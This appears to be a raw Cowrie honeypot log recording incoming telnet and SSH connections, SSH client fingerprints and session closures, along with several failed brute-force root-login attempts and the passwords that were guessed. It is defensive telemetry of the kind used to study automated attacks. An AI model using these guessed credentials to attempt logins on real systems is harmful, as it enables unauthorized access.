{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35222,"dst_ip":"159.203.135.109","dst_port":23,"session":"604b093939b5","protocol":"telnet","message":"New connection: 128.199.8.54:35222 (159.203.135.109:23) [session: 604b093939b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:50.717605Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":59560,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c9a06c26aef","protocol":"telnet","message":"New connection: 94.23.66.112:59560 (10.17.0.5:23) [session: 0c9a06c26aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:14:54.305712Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44506,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a2f33a38ec","protocol":"telnet","message":"New connection: 128.199.8.54:44506 (159.203.135.109:23) [session: 76a2f33a38ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:00.340443Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48364,"dst_ip":"159.203.135.109","dst_port":23,"session":"de24c547cb89","protocol":"telnet","message":"New connection: 128.199.8.54:48364 (159.203.135.109:23) [session: de24c547cb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:06.582983Z"}
{"eventid":"cowrie.session.closed","duration":37.007243633270264,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:27.724751Z","src_ip":"128.199.8.54","session":"604b093939b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":46954,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f9674a692c9","protocol":"ssh","message":"New connection: 103.122.221.179:46954 (10.17.0.5:22) [session: 3f9674a692c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:38.305390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:38.310598Z","src_ip":"103.122.221.179","session":"3f9674a692c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:38.573450Z","src_ip":"103.122.221.179","session":"3f9674a692c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"static","message":"login attempt [root/static] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:39.355895Z","src_ip":"103.122.221.179","session":"3f9674a692c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:40.623505Z","src_ip":"103.122.221.179","session":"3f9674a692c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":52592,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8eab70d2be1","protocol":"ssh","message":"New connection: 161.132.50.236:52592 (159.203.135.109:22) [session: d8eab70d2be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:40.968764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:40.973372Z","src_ip":"161.132.50.236","session":"d8eab70d2be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:41.063915Z","src_ip":"161.132.50.236","session":"d8eab70d2be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qqq","password":"123456","message":"login attempt [qqq/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:41.454402Z","src_ip":"161.132.50.236","session":"d8eab70d2be1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:42.545028Z","src_ip":"161.132.50.236","session":"d8eab70d2be1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.47303366661072,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:45.055895Z","src_ip":"128.199.8.54","session":"de24c547cb89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.58000326156616,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:15:45.920275Z","src_ip":"128.199.8.54","session":"76a2f33a38ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.73134899139404,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:06.036947Z","src_ip":"94.23.66.112","session":"0c9a06c26aef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37372,"dst_ip":"10.17.0.5","dst_port":22,"session":"84fd6cb41d6d","protocol":"ssh","message":"New connection: 27.71.230.31:37372 (10.17.0.5:22) [session: 84fd6cb41d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:15.724282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:15.756336Z","src_ip":"27.71.230.31","session":"84fd6cb41d6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:17.776014Z","src_ip":"27.71.230.31","session":"84fd6cb41d6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":60376,"dst_ip":"10.17.0.5","dst_port":22,"session":"338e6f471653","protocol":"ssh","message":"New connection: 14.63.196.175:60376 (10.17.0.5:22) [session: 338e6f471653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:20.302499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:20.309853Z","src_ip":"14.63.196.175","session":"338e6f471653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:20.508802Z","src_ip":"14.63.196.175","session":"338e6f471653","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"#Password123456-","message":"login attempt [root/#Password123456-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:20.655327Z","src_ip":"27.71.230.31","session":"84fd6cb41d6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234!","message":"login attempt [root/admin1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:21.314813Z","src_ip":"14.63.196.175","session":"338e6f471653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:22.258446Z","src_ip":"27.71.230.31","session":"84fd6cb41d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:22.521426Z","src_ip":"14.63.196.175","session":"338e6f471653","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.250","src_port":62026,"dst_ip":"10.17.0.5","dst_port":22,"session":"0573876ebb1b","protocol":"ssh","message":"New connection: 205.210.31.250:62026 (10.17.0.5:22) [session: 0573876ebb1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:33.128062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:33.931889Z","src_ip":"205.210.31.250","session":"0573876ebb1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:35.084636Z","src_ip":"205.210.31.250","session":"0573876ebb1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:43.988419Z","src_ip":"205.210.31.250","session":"0573876ebb1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48438,"dst_ip":"159.203.135.109","dst_port":23,"session":"acce663d3c7b","protocol":"telnet","message":"New connection: 128.199.8.54:48438 (159.203.135.109:23) [session: acce663d3c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:51.360084Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48372,"dst_ip":"159.203.135.109","dst_port":23,"session":"09c5171627a1","protocol":"telnet","message":"New connection: 128.199.8.54:48372 (159.203.135.109:23) [session: 09c5171627a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:52.264338Z"}
{"eventid":"cowrie.session.closed","duration":0.00540924072265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:16:52.269494Z","src_ip":"128.199.8.54","session":"09c5171627a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57392,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e451e1acea8","protocol":"telnet","message":"New connection: 172.81.62.90:57392 (159.203.135.109:23) [session: 8e451e1acea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:28.535718Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44308,"dst_ip":"159.203.135.109","dst_port":23,"session":"accdf37cacaf","protocol":"telnet","message":"New connection: 128.199.8.54:44308 (159.203.135.109:23) [session: accdf37cacaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:34.161501Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34542,"dst_ip":"10.17.0.5","dst_port":22,"session":"e25a34a413fb","protocol":"ssh","message":"New connection: 103.82.132.16:34542 (10.17.0.5:22) [session: e25a34a413fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:35.243714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:35.248141Z","src_ip":"103.82.132.16","session":"e25a34a413fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:35.496844Z","src_ip":"103.82.132.16","session":"e25a34a413fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24101983","message":"login attempt [root/24101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:36.246057Z","src_ip":"103.82.132.16","session":"e25a34a413fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:37.497015Z","src_ip":"103.82.132.16","session":"e25a34a413fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60460,"dst_ip":"159.203.135.109","dst_port":22,"session":"4db1f849efc7","protocol":"ssh","message":"New connection: 27.71.230.31:60460 (159.203.135.109:22) [session: 4db1f849efc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:37.894626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:38.729983Z","src_ip":"27.71.230.31","session":"4db1f849efc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:38.734843Z","src_ip":"27.71.230.31","session":"4db1f849efc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.48420429229736,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:43.844208Z","src_ip":"128.199.8.54","session":"acce663d3c7b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"#Password123456-","message":"login attempt [root/#Password123456-] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:17:44.160189Z","src_ip":"27.71.230.31","session":"4db1f849efc7","protocol":"ssh"}
